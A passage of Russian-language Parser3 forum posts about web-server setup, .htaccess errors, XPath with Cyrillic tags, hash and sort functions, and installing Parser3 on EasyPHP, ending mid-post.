 При большом желании вы все же можете запускать скрипты и из www-директории. Для этого создайте в ней файл .htaccess (с точкой в начале) следующего содержания: \
\
Options +ExecCGI \
\
 2. Возможно, вы пытаетесь открыть картинку или статический HTML-файл, расположенный в CGI-директории. Этого делать нельзя. Все рисунки (а также другие файлы, за исключениям скриптов) необходимо помещать в www-директорию. См. примеры по адресу /home/localhost/www. \
 3. Если вы ожидаете получить листинг каталога, но выводится эта ошибка, вероятно, для данной директории выдача листинга запрещена (например, это CGI-папка). Чтобы разрешить листинг, создайте в нужной директории файл .htaccess следующего содержания: \
\
Options +Indexes\
\
пробавл добавлять Options +ExecCGI и Options +Indexes в .htaccess не чего не изменяется!\
как исправвить данную ошибку?"
"79025","Мануал не читаем? \
http://aktar3.sibarit.ru/docs/install 4 пункт"
"79026","удалял .htaccess\
после установки, кликаю на любую ссылку например, контакты выдаёт\
\
пишет\
Error 403\
\
\
 You don't have permission to access /N:/home/login/www/login/_root.htm on this server. \
\
 Возможные причины ошибки: \
   1. Вы пытаетесь запустить CGI-скрипт, расположив его вне CGI-директории (например, в директории документов сервера www). Корректные пути к CGI-директориям следующие:"
"79027","403 под виндой - это почти наверняка содержимое .htaccess по пути мешает. Хотя может и в Endels какие настройки..."
"79028","Endels и в денвере такая ошибка!\
Endels - настройки, стандартные, после кстановки не чё не менял!\
как исправить, скажите пожалуйста?"
"79029","Никто вам не поможет - ищите где идет вызов CGI"
"79030","Есть код:\
[code]^post.sort{$posts.id}\
^posts.menu{\
<p>$posts.id $posts.name</p>\
}[/code]\
\
Все сортируется, но в формате: 1, 10, 100, 101...2, 20, 200...и тд.\
Как добиться человеческой сортировки: 1, 2, 3, 4... и тд?\
\
Спасибо!"
"79032","Таки очень хочется memcached драйвера для parser.\
У студии такое можно заказать? ну или у создателей parser`a.\
Готов проспонсировать, а ежели будет дисконт, готов его спонсировать как \"open source\""
"79035","Ну вот не читаю Whats New ;(\
\
Говорили мне старые добрые товарищи -- перечитывай документацию раз в полгода ...."
"79036","Добрый день.\
\
У меня такая задачка: \
есть форма, данные которой нунжо сохранить в БД \
и далее методом пост послать их на другой сайт.\
\
Форму я обрабатываю, данные сохраняю в БД.\
Что мне делать после сохранения данных в БД?\
Как данные послать методом пост на другой сайт?\
\
Без аякса и прочих ява.. \
Курлом можно решить этот шаг? Я не соображу как сделать.\
Подскажите?"
"79037","... там есть все необходимое для отправки get и post-запросов. Можно и через curl, но он обычно нужен для работы с по https-протоколу."
"79038","Я не верно выразился.\
Шаги таки:\
1. Пользователь заполняет форму\
2. Данные из формы записываются в БД\
3. Переходим с данными из формы на другой сайт (методом пост)\
\
file::load отправит информацию из формы, а мне нужно редиректнуть\
пользователя с данными из формы, при этом сохранив их в БД.\
\
[code]^file::load[txt;http://www.site.ru/;\
	$.method[POST]\
	$.form[ \
  	$.name[$form:name] \
  	$.surname[$form:surname] \
  	$.dob[$form:dob] \
	]\
][/code]"
"79039","Насколько я помню протокол http, редирект с постом невозможно сделать. Т.е. на сервере такое не получится проделать, а вот в браузере несложно: перехватываете отправку формы яваскриптом и отправляете ее на свой сервер, а потом на внешний.\
\
Но мне очень не нравится сама задача. Очень похоже на фишинг."
"79040","Спасибо, буду пробовать ява-скриптом. Не хотелось, но видимо придётся.\
\
Это не фишинг, если даже и похоже. Нам нужно регистрировать данные, когда пользователь переходит на сайт партнёра от нас."
"79041","использовал вот такую команду:\
/usr/local/bin/iconv -f UTF-8 -t UCS-2 $2 >tmp.xml\
\
но предложенное вами ucs-2 не создало BOM впереди у tmp.xml"
"79042","В этом случае BOM добавляется — я только что это проверил у себя.\
\
[quote]Q: What is the difference between UCS-2 and UTF-16?\
\
A: UCS-2 is obsolete terminology which refers to a Unicode implementation up to Unicode 1.1, before surrogate code points and UTF-16 were added to Version 2.0 of the standard. This term should now be avoided.\
\
UCS-2 does not define a distinct data format, because UTF-16 and UCS-2 are identical for purposes of data exchange. Both are 16-bit, and have exactly the same code unit representation.\
\
Sometimes in the past an implementation has been labeled \"UCS-2\" to indicate that it does not support supplementary characters and doesn't interpret pairs of surrogate code points as characters. Such an implementation would not handle processing of character properties, code point boundaries, collation, etc. for supplementary characters.[/quote]\
http://www.unicode.org/faq/basic_q.html#14"
"79043","Плз все .htaccess'ы по пути к файлу и принтскрин структуры каталогов"
"79044","[code]^result.sort(^math:random(1))[/code]\
Так и задумано, что данные не должны смешиваться?\
Может стоит написать \
[code]^result.sort(^math:random($table))[/code]"
"79045","но $table я внутрь не писал бы, т.к. это будет дополнительный внутренний call на каждую строку. да, это мелочь (особенно для данного применения, где так сортируется небольшая таблица), но я бы всё равно или вынес бы вычисление количества строк в переменную ($count) или в random указал бы константу (1000)."
"79046","а если ^math:random(2)? по идее перемешивание все равно будет случайным, нет?"
"79047","так не фонтан, imho.\
\
при сортировке сначала пробегается вся таблица и для каждой строки вычисляется значение на основе тела sort. каждое значение запоминается. в случае тела в виде ^math:random(2) каждая строка получит значение 0 или 1. \
\
потом полученное сортируется с помощью qsort.\
\
для deterministic алгоритмов сортировки все значения, у которых получился 0 будут помещены в результирующую таблицу в исходном порядке. а за ними, опять же в исходном порядке, будут помещены все строки с 1.\
\
для не determnistic алгоритмов порядок элементов с одинаковыми значениями не определён, но он в любом случае не random.\
\
какая конкретно реализация qsort в конкретной системе я не знаю. обычный qsort не deterministic, а enhanced qsort -- deterministic."
"79048","При попытке разобрать xml выгрузку из 1с вида:\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
[code]<КоммерческаяИнформация ВерсияСхемы=\"2.05\" ДатаФормирования=\"2013-10-16T8:38:37\">\
	<Каталог СодержитТолькоИзменения=\"false\">\
		<Товары>\
			<Товар>\
				<Наименование>газонокосилка эл. колесн. Bosch Rotak 1000</Наименование>\
				<Группы>\
					<Ид>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Ид>\
				</Группы>\
			</Товар>\
		</Товары>\
	</Каталог>\
</КоммерческаяИнформация>[/code]\
Загружаю\
[code]$catalog[^xdoc::load[import.xml]][/code]\
И пробую достать товары нужной группы\
[code]$items[^catalog.select[/КоммерческаяИнформация/Каталог/Товары/Товар[Группы/Ид='31c0dc8f-2728-11e3-9f5c-001bfcb40055']]][/code]\
Парсер сваливается с ошибкой [b]Invalid expression select[/b]\
Если же попробовать пройтись по всему документу:\
[code]$items[^catalog.select[//Товар[Группы/Ид='31c0dc8d-2728-11e3-9f5c-001bfcb40055']]][/code]\
то всё работает.\
Сваливается в ошибку при появлении в xpath пути с кириллическими символами и любым условием, например /КоммерческаяИнформация/Каталог/Товары/Товар[*] или /КоммерческаяИнформация/Каталог/Товары/child::* и т.п.\
Есть ли вариант поправить как-нибудь?"
"79049","увы, так пока работает libxml2.\
\
нашел [url=http://php.net/manual/de/domxpath.query.php]такое[/url]:\
[quote]\
XML-document contains an elements with the names of non-Latin characters (cyrillic). When used predicate in XPath-query, function DOMXPath::query() gives a warning and query does not work. In order to earned the query, it is necessary to explicitly specify the axis.\
[/quote]\
\
проверил. если xpath переписать так:\
[code]\
$items[^catalog.select[/child::КоммерческаяИнформация/child::Каталог/child::Товары/child::Товар[Группы/Ид='31c0dc8f-2728-11e3-9f5c-001bfcb40055']]]\
[/code]\
\
то вроде работает."
"79050","Спасибо, вроде действительно работает)"
"79051","Предложу альтернативное решение.\
Делаете file::load, в загруженном тексте делаете замену нодов на желаемый вами (например, Каталог > Catalog, Товары > Products... ) и результат уже скармливаете в xml."
"79052","Спасибо, тоже думал об этом, но решение Михаила выглядит аккуратней."
"79053","... если в содержимом узлов встретятся такие же слова (и регулярка не спасет, если используется CDATA), то результата будет явно некорректным. Так что Мишин вариант гораздо лучше. :)"
"79054","1. Опцию для string.split[], включающую принудительный trim пробельных символов:\
[code]$s[1, 2, 3]\
^s.split[,;t][/code]\
\
[code]piece\
1\
2\
3[/code]\
\
Позволит упростить разбор всяческих перечислений, без дополнительных плясок с trim, промежуточными переменными и перебором порезанных частей.\
\
2. Возможность указывать код, для формирования значений хеша при $.type[string]:\
[code]$t[^table::create{a	b\
number 1	value 2\
number 3	value 4\
number 5	value 6}]\
\
^t.hash{^t.a.match[number ;]{};^t.b.match[value ;]{}}[$.type[string]][/code]\
\
[code]$.1[2]\
$.3[4]\
$.5[6][/code]\
\
Позволит упростить работу с хешами, отказавшись от переборов и временных копий.\
\
3. URL-encode и последующий decode передаваемого по протоколу parser:// параметра:\
\
[code]<xsl:value-of select=\"document(concat('parser://m/', 'a b c'))/result\"/>\
\
@m[value]\
$result[<?xml version=\"1.0\" encoding=\"$response:charset\"?>\
<result>^value.match[ ;g]{-}</result>][/code]\
\
Сейчас такое просто не работает, нужно заменять пробелы.\
\
В XSL крайне затруднительно делать полноценный encode.\
Позволит шире использовать возможности parser://-протокола, без лишних ухищрений с заменами символов."
"79055","Можно попробовать написать крохотные шаблоны и использовать transform для получения данных.\
\
Или делать шаблоном полное «идентичное» преобразование с заменами имён и работать XPath уже по причёсанному документу с теми же данными.\
\
Это если набор данных небольшой."
"79056","Ну не знаю, что вы тут страшного нашли. Делов-то на несколько минут.\
\
[code]\
$nodes[^table::create{from to\
<Товары>	<Producs>\
</Товары>	</Producs>\
<Товар>	<Product>\
</Товар>	</Product>\
<Наименование>	<Description>\
</Наименование>	</Description>\
<Группы>	<Groups>\
</Группы>	</Groups>\
<Ид>	<Id>\
</Ид>	</Id>\
</Каталог>	</Catalog>\
</КоммерческаяИнформация>	</CommercialInformation>\
}]\
\
$str[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<КоммерческаяИнформация ВерсияСхемы=\"2.05\" ДатаФормирования=\"2013-10-16T8:38:37\">\
	<Каталог СодержитТолькоИзменения=\"false\">\
		<Товары>\
			<Товар>\
				<Наименование>газонокосилка эл. колесн. Bosch Rotak 1000</Наименование>\
				<Группы>\
					<Ид>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Ид>\
				</Группы>\
			</Товар>\
		</Товары>\
	</Каталог>\
</КоммерческаяИнформация>]\
	\
	$str[^str.replace[$nodes]]\
	$str[^str.match[<КоммерческаяИнформация\\s*ВерсияСхемы=\"([\\d\\.]*)\"\\s*ДатаФормирования=\"([\\d\\-]{8,10})T([\\d\\:]{5,8})\">][]{<CommercialInformation version=\"$match.1\" date=\"$match.2 $match.3\">}]\
	$str[^str.match[<Каталог\\s*СодержитТолькоИзменения=\"(\\w*)\">][]{<Catalog changes=\"$match.1\">}]\
	\
	$str\
[/code]"
"79057","[code]$str[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<КоммерческаяИнформация ВерсияСхемы=\"2.05\" ДатаФормирования=\"2013-10-16T8:38:37\">\
	<Каталог СодержитТолькоИзменения=\"false\">\
		<Товары>\
			<Товар>\
				<Наименование>газонокосилка эл. колесн. Bosch Rotak 1000</Наименование>\
				<Группы>\
					<Ид>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Ид>\
				</Группы>\
				<Описание><![CDATA[\
				  Пример xml-кода:\
				    <Каталог СодержитТолькоИзменения=\"false\">\
				      <Товары>\
					<Наименование>газонокосилка эл. колесн. Bosch Rotak 1000</Наименование>\
					<Группы>\
					<Ид>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Ид>\
					</Группы>\
				      </Товары>\
				    </Каталог>\
				]]></Описание>\
			</Товар>\
		</Товары>\
	</Каталог>\
</КоммерческаяИнформация>][/code]\
\
Это еще самый просто вариант, а бывают и сложнее. Замены в сложных, структурированнх данных работают плохо."
"79058","Чуть изменив натравил:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<CommercialInformation version=\"2.05\" date=\"2013-10-16 8:38:37\">\
	<Catalog changes=\"false\">\
		<Producs>\
			<Product>\
				<Label>газонокосилка эл. колесн. Bosch Rotak 1000</Label>\
				<Groups>\
					<Id>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Id>\
				</Groups>\
				<Description><![CDATA[\
				Пример xml-кода:\
				<Catalog changes=\"false\">\
					<Producs>\
						<Label>газонокосилка эл. колесн. Bosch Rotak 1000</Label>\
						<Groups>\
							<Id>31c0dc8f-2728-11e3-9f5c-001bfcb40055</Id>\
						</Groups>\
					</Producs>\
				</Catalog>\
				]]></Description>\
			</Product>\
		</Producs>\
	</Catalog>\
</CommercialInformation>[/code]\
\
Насколько критичны следы трансформации в CDATA каждый решит сам для себя."
"79059","Все что внутри является value и его трогать нельзя ))"
"79060","Конечно заметил, поэтому и написал: насколько критичны следы трансформации в CDATA каждый решит сам для себя.\
В каких то случаях это критично, в каких-то — нет. С этим никто не спорит.\
А без повода кипятиться точно не стоит."
"79061","Разве тут надо что-то решать для себя? :)"
"79062","Если 1С в выгрузке не использует CDATA, или используя его не вставляет туда куски xml, то какой смысл волноваться?\
Истерика о _возможной_ трансформации xml в CDATA вообще без повода. Если разработчик знает, что ему в нодах могут дать xml как значение, просто не будет использовать такой способ и все."
"79063","Я обратил внимание на серьезную проблему в вашем решении для тех, кто будет читать этот тред в будущем."
"79064","с xml лучше работать специально предназначенными для того средствами.\
предложенные xpath совершенно валидны и лишь несколько избыточны в плане количества букв, но не по своей сути.\
\
replace для этих задач подходит плохо. как уже упомянули:\
во первых, есть CDATA/comment-ы.\
во вторых -- в xml уже могут содержаться такие тэги, на которые производятся замены.\
\
всё это приводит к тому, что для замен нужно глубоко вникать в структуру _всего_ xml-я, и если она вдруг измениться (например просто что-то добавится, чего раньше не было), то замены могут перестать работать или будут что-то неявно ломать.\
=>\
этот инструмент нехороший."
"79065","Скачать можно здесь: http://www.parser.ru/download/.\
Изменения в новостях http://www.parser.ru/news/ и документации.\
\
Для Unix версий теперь доступен комплект для установки, включающий в себя CGI скрипт, конфигурационный файл, файлы с кодировками, драйверы, клиентские библиотеки."
"79066","1. реализовать несложно, но я не уверен, что это стоит делать.\
\
2. формирование значения выглядит логично. формирование и ключа и значения -- нет. проблема в оптимальности конструкции, т.к. в предложенном варианте для каждой записи будет выполняться два \"тела\", что хуже, чем проход по таблице с помощью menu с формированием внутри $.[код, формирующий ключ][код, формирующий значение]\
\
3. я не \"в струе\" и не очень понимаю, что требуется :)"
"79068","[quote]1. реализовать несложно, но я не уверен, что это стоит делать.[/quote]\
\
Почему?\
\
Совместимость не страдает — опция дополнительная, а пробельные символы — бич списков извне, к примеру, введенных невнимательными редакторами. Из-за необходимости их подчищать приходится отказываться от удобного split и городить многострочные конструкции с обрезкой.\
\
[quote]2. … в предложенном варианте для каждой записи будет выполняться два \"тела\", что хуже, чем проход по таблице с помощью menu с формированием внутри $.[код, формирующий ключ][код, формирующий значение][/quote]\
\
Как я понимаю, объём выполняемых действий примерно одинаков — хоть сразу выполнить два тела на запись, хоть отдельно их же при menu, — неясно, чем второй вариант лучше. Во втором даже лишний проход по таблице получается.\
При этом, первый позволяет полностью исключить 3+ строк кода, иногда, при сложном формировании ключей и значений, много больше.\
\
[quote]3. я не \"в струе\" и не очень понимаю, что требуется[/quote]\
\
При вызове [i]parser://method/что-либо[/i] «что-либо» передаётся параметром в @method. Функция document() — чтение внешнего XML-документа или нескольких документов по URI. Соответственно, имя метода, и передаваемый параметр должны соответствовать URI и не содержать в явном виде неразрещённых в нём символов. С именем метода вопросов нет, к ним ещё предъявляет требования и сам Parser, но вот передавать хочется всевозможные данные, хотя бы произвольный текст, а как только там встречается пробел — вызов просто не уходит и приходится делать наколенное кодирование-декодирование.\
\
Я к сожалению не знаю как оно изнутри устроено, видимо вызов идёт из libxml, и на него особо не повлиять. Суть в том, что если делать перед вызовом метода URL-encode параметра и по получении парсером, и до вызова метода, URL-decode, то передавать можно будет намного более разнообразные данные, возможно даже фрагменты XML-дерева с переводами строк.\
\
Пример: https://dl.dropboxusercontent.com/u/6795309/temp/parser-protocol.zip"
"79069","2.\
[code]\
^t.menu{\
	$.[^t.a.match[number ;]{}][^t.b.match[value ;]{}]\
}\
[/code]\
\
один проход, простейший код. что тут упрощать? если записать в 1 строку, получится даже короче.\
в приведённом примере кода из первого сообщения два junction. выполняться они будут поочереди. у каждого есть накладные расходы.\
\
3. parser://method/что-либо валидирует libxml, т.е. до его вызова \"что-либо\" заенкодить не получится."
"79072","Спасибо! Обновил)"
"79073","[quote]если записать в 1 строку, получится даже короче[/quote]\
\
Тогда мне неясен смысл наличия $.type[string] (очень удобного для меня), если всегда можно сделать:\
[code]$h[^hash::create[^t.menu{$.[$t.a][$t.b]}]][/code]\
\
[quote]3. parser://method/что-либо валидирует libxml, т.е. до его вызова \"что-либо\" заенкодить не получится[/quote]\
\
Печально.\
И перекрыть что-либо в libxml не получится?"
"79074","По поводу 3. Мне кажется, что parser:// - это не самый удобный вариант интеграции парсера с XSL.\
\
В одной из наших CMS мы пошли по пути регистрации собственного префикса в котором были например такие забавные методы:\
\
[quote]imp:Var('Name') - получить значение переменной\
imp:VarSet('Name', Value) - задать значение переменной. Основное отличие от обычных переменных в XSLT - могут менять значения по ходу трансформации.[/quote]\
\
В случае парсера можно например добавить метод регистрации класса на префикс и при обращении к prefix:function будет вызываться class:метод. Не знаю, как с этим все обстоит дело в libxml, например под .NET были тонкости, если возвращается кусок XML как и с передачей XML в виде параметров, но в целом все работало. Уж со строками-то точно никаких проблем не было."
"79075","[quote]В случае парсера можно например добавить метод регистрации класса на префикс и при обращении к prefix:function будет вызываться class:метод.[/quote]\
\
Согласен.\
\
parser:// и необходимость метода в MAIN — не очень элегантно, но даже он бы сильно продвинулся, будь возможность спокойно работать со строками или фрагментами дерева.\
А уж регистрировать свои протоколы и обработчики — совсем мечта."
"79076","$.type[string] добавлен:\
1. для общности\
2. для скорости\
\
там просто копиру.тся значения столбцов, это гораздо быстрее, чем выполнять код.\
добавил возможность написать ^t.hash{$t.name}{$t.value}[$.type[string]] и сравнил.\
\
[code]\
@USE\
debug/Erusage.p\
\
@main[]\
$t[^table::create{name	value^for[i](1;10000){^#0Aname $i	value $i}}]\
\
^Erusage:measure{\
#	$h[^do{^m1[]}]\
#	$h[^do{^m2[]}]\
	$h[^do{^m3[]}]\
#	$h[^do{^m4[]}]\
}[v]\
#^dstop[$h]\
\
MS: $v.time<br />\
BL: $v.memory_block<br />\
KB: $v.memory_kb\
\
\
\
@do[jCode][result;i]\
^for[i](1;100){$result[$jCode]}\
\
\
@m1[][result]\
$result[^t.hash[name;value][$.type[string]]]\
\
\
@m2[][result]\
$result[^hash::create[^t.menu{$.[$t.name][$t.value]}]]\
\
\
@m3[][result]\
$result[^hash::create[]]\
^t.menu{$result.[$t.name][$t.value]}\
\
\
@m4[][result]\
$result[^t.hash{$t.name}{$t.value}[$.type[string]]]\
\
\
@z[]\
[/code]\
\
1.\
MS: 376.022\
BL: 35680\
KB: 31396\
\
2. \
MS: 1101.063\
BL: 71396\
KB: 62756\
\
3.\
MS: 845.048\
BL: 44568\
KB: 39224\
\
4.\
MS: 827.047\
BL: 89088\
KB: 78276\
\
выводы делай сам (могу прислать exe-шник потестировать другие варианты).\
\
P.S. ключ в виде кода можно указать уже сейчас (надо не забыть добавить это в доку). поэтому сейчас можно сравнить ^t.hash[name;value][$.type[string]] с ^t.hash{$t.name}[value][$.type[string]], чтобы посмотреть насколько всё замедляет junction."
"79077","1. В [url=\"http://www.parser.ru/examples/\"]примерах[/url] устарела ссылка на «Класс для вывода информации о парсерных объектах».\
2. Сайт и Форум (кроме документации) живет в 2011 (по футеру) году. Вроде и незначительно, но у новых посетителей может сложиться мнение, что технологию забросили.\
\
Вдогонку вопрос: почему Парсера нет в работах Студии?"
"79078","1. ссылку удалил. в любом случае [url=/examples/debug-fork/]fork Debug[/url] удобнее\
2. поправил.\
\
спасибо."
"79079","[quote]$.type[string] добавлен:\
1. для общности\
2. для скорости\
\
там просто копиру.тся значения столбцов, это гораздо быстрее, чем выполнять код.[/quote]\
\
Заговариваюсь.\
Речь, о [url=\"http://www.parser.ru/docs/lang/table2hash.htm\"]коде в качестве ключа[/url] (в документации оно есть, но в виде комментария, а не примера с нужными скобками). Где junction уже есть, но только для ключей.\
\
Я в основном за общность и единообразие.\
Скорость — дело десятое, на больших объёмах, где критично, можно пожертвовать относительной лаконичностью и оптимизировать.\
\
Код в виде ключа скорости, понятно, не добавляет, но ведь возможность есть.\
\
[quote]выводы делай сам[/quote]\
\
Для меня неожиданно, что третий быстрее второго.\
Я всегда именно так пишу и, ленясь проверить, терзался муками совести, а оно, оказывается, самое быстрое."
"79080","[url=\"http://www.parser.ru/forum/?id=78949\"]Ошибка с setter'ам[/url] не проявляется, старый код работает.\
Спасибо."
"79081","Можно ли установить parser3 на локальный сервер? Конкретнее, на EasyPHP."
"79082","Добрый вечер!\
\
Есть ли способ переопределить значение переменной, если она является значением поля хеша?\
\
[code]\
$a(1)\
\
$h[$.test[$a]]\
\
$h.test - вернет \"1\"\
\
$a(2)\
\
$h.test - тоже вернет \"1\", а нужно \"2\"\
[/code]\
\
Можно ли по ходу переопределить значение переменной? Нужно для ситуаций, когда в хеше лежит много строк и одна из них содержит переменную (\"Доброго времени суток, $username\")."
"79085","Боюсь вам следует понятнее описать задачу. Так понял, что вам хочется такого:\
\
$h[ $.greeting[Доброго времени суток, ^$username] ]\
\
$username[vasya]\
\
$greeting[^process{$h.greeting}]\
\
Альтернативно можно сделать не хеш, а класс, где \
сделать вычислимое поле (геттер) @GET_greeting[]"
"79086","Я ещё подумал про \
[code]$h[$.greeting[Доброго времени суток, %username%]]\
\
$username[vasya]\
\
^h.greeting.replace[%username%;$username][/code]\
\
Идеологически, какой из этих трех вариантов более правильный?"
"79087","Блин, неправильно задал вопрос. Как установить parser3 на EasyPHP?"
"79088","Подробно описано в документации:\
http://www.parser.ru/docs/lang/\
Раздел: Установка и настройка Parser \
\
Если коротко: кидаете parser3.cgi в папку cgi-bin, а в .htaccess прописываете его обрабочиком ваших файлов."
"79089","[code]$h[$.greeting{Доброго времени суток, $username}]\
$username[vasya]\
$h.greeting\
$username[petya]\
$h.greeting[/code]"
"79090","Да, и это самый эффективный и эффектный вариант.\
\
Но в целом при программировании лучше вообще избегать описанной в топике ситуации (неявной зависимости от внешней переменной)."
"79094","Файлы parser3 лежат по адресу D:\\parser\\\
\
В .htaccess, который лежит в этой папке, прописано:\
[code]# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Action parser3-handler /cgi-bin/parser3.exe\
AddHandler parser3-handler html\
\
# запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
В D:\\program files\\EasyPHP\\apache\\cgi-bin\\ я закинул parser3.exe.\
\
Но при всем этом, когда я запуская через админку EasyPHP альяс на D:\\parser\\, у меня выдается просто список файлов этой папки, никакой сайт не открывается. Проблема во мне, в parser или в EasyPHP?"
"79095","похоже в апаче не включена обработка .htaccess"
"79096","Прописал по инструкции в <VirtualHost ...> следующее:\
[code]<Directory D:/parser/>\
AllowOverride FileInfo\
</Directory>[/code]\
\
Теперь при запуске альяса вместо списка файлов из D:\\parser\\ выдается вот что:\
[quote]\" xml:lang=\"\"> \" />\
\
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.\
\
Error[/quote]"
"79097","Лучше конечно делать в браузере view source при копировании таких ошибок.\
И да, библиотеки все положили/подключили?"
"79098","Вот что написано в логе:\
[quote][Mon Nov 04 00:42:12 2013] [8264] /parser/other/_test.html: D:/parser/other/_test.html(136:47): 'upper' change_case_UTF8 error: end pointers do not match [<no type>] [uri=/parser/other/_test.html, method=GET, cl=0]\
[Mon Nov 04 00:47:16 2013] [1916] /parser/other/_test.html: D:/parser/other/_test.html(136:47): 'upper' change_case_UTF8 error: end pointers do not match [<no type>] [uri=/parser/other/_test.html, method=GET, cl=0][/quote]\
\
Под библиотеками имеются в виду те, которые надо было выбрать при установке? Если да, то там я галочек не убирал, все установил. В папке parser\\lib\\ лежат 5 файлов:\
libmySQL.dll;\
parser3mysql.dll;\
parser3odbc.dll;\
parser3sqlite.dll;\
sqlite3.dll."
"79100","В auto.p прописано:\
[code]$request:charset[UTF-8]\
$response:charset[UTF-8][/code]\
\
_text.html перекодировал в UTF-8. Ничего не изменилось. Попробовал еще перекодировать в UTF-8 (без BOM), но тоже никакого эффекта. Выдается все та же ошибка:\
[quote]\" xml:lang=\"\"> \" />\
\
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.\
\
Error[/quote]"
"79101","http://www.parser.ru/forum/?id=77864\
[code]\
$exec[^file::exec[launch.sh;\
	$.GATEWAY_INTERFACE[]\
	$.REQUEST_METHOD[]\
	;$name]]\
[/code]"
"79102","вот архив http://files.mail.ru/C8A2337EB1A34ACCB24E6A1AA53B680E\
со скринами, .htaccess'ы и структуры каталогов\
посмотрите, пожалуйста..!"
"79103","Пользуйтесь поиском, там много сообщений на вашу тему.\
Вот здесь http://www.parser.ru/forum/?id=39349 подсказывают, что не плохо бы прописать путь к директории, где хранятся charset файлы и это \"должно помочь\"."
"79104","возможные варианты:\
- вы как-то неправильно его перекодировали _test.html\
- вы правите auto.p, который не обрабатывается"
"79105","_test.html перекодировал с помощью notepad++. Там нельзя ошибиться :-) Нажал в меню [i]Кодировки[/i], там выбрал [i]Преобразовать в UTF-8.[/i]\
\
auto.p не правил. Только взглянул на строки\
[code]$request:charset[UTF-8]\
$response:charset[UTF-8][/code]"
"79106","Спасибо, посмотрю, что там в поиске есть.\
\
[quote]Вот здесь http://www.parser.ru/forum/?id=39349 подсказывают, что не плохо бы прописать путь к директории, где хранятся charset файлы и это \"должно помочь\"[/quote]\
А где прописывать путь и где лежат эти charset файлы?"
"79107","для проверки выполнения именно этого auto.p, впишите в него, рядом со строками указания кодировок:\
^throw[;r we there?]\
\
эта ошибка не связана с подключаемыми кодировками, т.к. указана UTF-8 (встроенная кодировка, её подключать не надо).\
\
ещё раз: конфигурационный auto.p должен находиться рядом с parser3.exe"
"79108","Документация: http://www.parser.ru/docs/lang/\
\"Установка и настройка Parser\", подраздел \"Конфигурационный метод\"\
[quote]\
Всегда доступна и не нуждается в загрузке файла кодировка UTF-8, являющаяся для Parser кодировкой по умолчанию. \
Чтобы сделать доступными для использования Parser другие кодировки, необходимо указать файлы их описывающие, делается это так: \
$CHARSETS[ \
   $.windows-1251[/полный/путь/к/windows-1251.cfg] \
   … \
] [/quote]\
\
Обычно кодировку прописывают в конфигурационном файле auto.p, который лежит рядом с parser3.cgi/parser3.exe\
\
Миша верно подметил, что если вы работаете только с utf-8, то подключать доп. кодировки не требуется. У себя на практике я постоянно сталкиваюсь, что доп. кодировки нужны, особенно злосчастная windows-1251, будь она проклята.\
\
Файлы с кодировками есть в разделе \"Скачать\": http://www.parser.ru/download/win32/"
"79109","Дописал строчку. Вышло так:\
[code]@auto[]\
#source/client charsets\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
^throw[;r we there?][/code]\
\
После этого ничего не изменилось.\
\
Auto.p, как и изначально, лежит в корне рядом с parser3.exe."
"79110","Кодировка windows-1251, оказывается, подключена изначально.\
\
[code]$CHARSETS[\
#	$.cp866[$charsetsdir/cp866.cfg]\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.koi8-u[$charsetsdir/koi8-u.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1254[$charsetsdir/windows-1254.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
#	$.x-mac-cyrillic[$charsetsdir/x-mac-cyrillic.cfg]\
][/code]\
\
И все файлы кодировок лежат в папке charsets."
"79111","[quote]После этого ничего не изменилось.[/quote]\
\
значит вы правите не тот файл.\
если бы правили нужный файл, то после дописывания этой строчки у вас должна была-бы появляться ошибка с текстом \"r we there?\"\
\
[quote]Auto.p, как и изначально, лежит в корне рядом с parser3.exe.[/quote]\
\
вообще-то parser3.exe не должен быть в корне сайта. он должен быть в какой-нить cgi, cgi-bin или ещё где-то. и директория, где он лежит, должна восприниматься веб сервером как директория для cgi скриптов.\
\
а _конфигурационный_ auto.p должен лежать рядом с ним. в корне сайта (в корне веб-пространства, именно сюда происходит обращение при http://сайт/) должен быть (точнее может быть, т.к. он не обязателен) ещё один auto.p, корневой.\
\
попробуйте скачать с англоязычной версии сайта _test.html на английском, с ним не должно быть ошибки о невозможности upper/lower преобразования и он вам покажет (я надеюсь), как минимум ваш document_root (с точки зрения парсера).\
\
при этом для начала вообще удалите (переместите) всё, что вы положили в document root. оставьте там только _test.html"
"79112","При создании даты этот код возвращает ошибку:\
[code]$dtTotal[^date::create[1970-01-01 04:00:00]][/code]\
а этот нет:\
[code]$dtTotal[^date::create[1970-01-01 05:00:00]][/code]\
\
Пример чистый. Parser/3.4.2 (compiled on x86_64-apple-darwin10.8.0)\
\
почему так?"
"79114","+ помним, что есть такое понятие, как timezone."
"79115","Блин, оказывается auto.p надо было тоже ложить в cgi-bin, как и parser3.exe? Я положил его туда. Теперь вылезает другая ошибка:\
[code]r we there?\
\
D:\\Program Files\\EasyPHP\\apache\\cgi-bin/auto.p(159:2)\
throw	D:\\Program Files\\EasyPHP\\apache\\cgi-bin/auto.p(159:2)\
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.\
r we there?\
\
D:\\Program Files\\EasyPHP\\apache\\cgi-bin/auto.p(159:2)\
throw	D:\\Program Files\\EasyPHP\\apache\\cgi-bin/auto.p(159:2)[/code]\
\
Но если убрать строчку [code]^throw[;r we there?][/code], то вылезает та же ошибка, что и прежде:\
[code]\" xml:lang=\"\"> \" />\
\
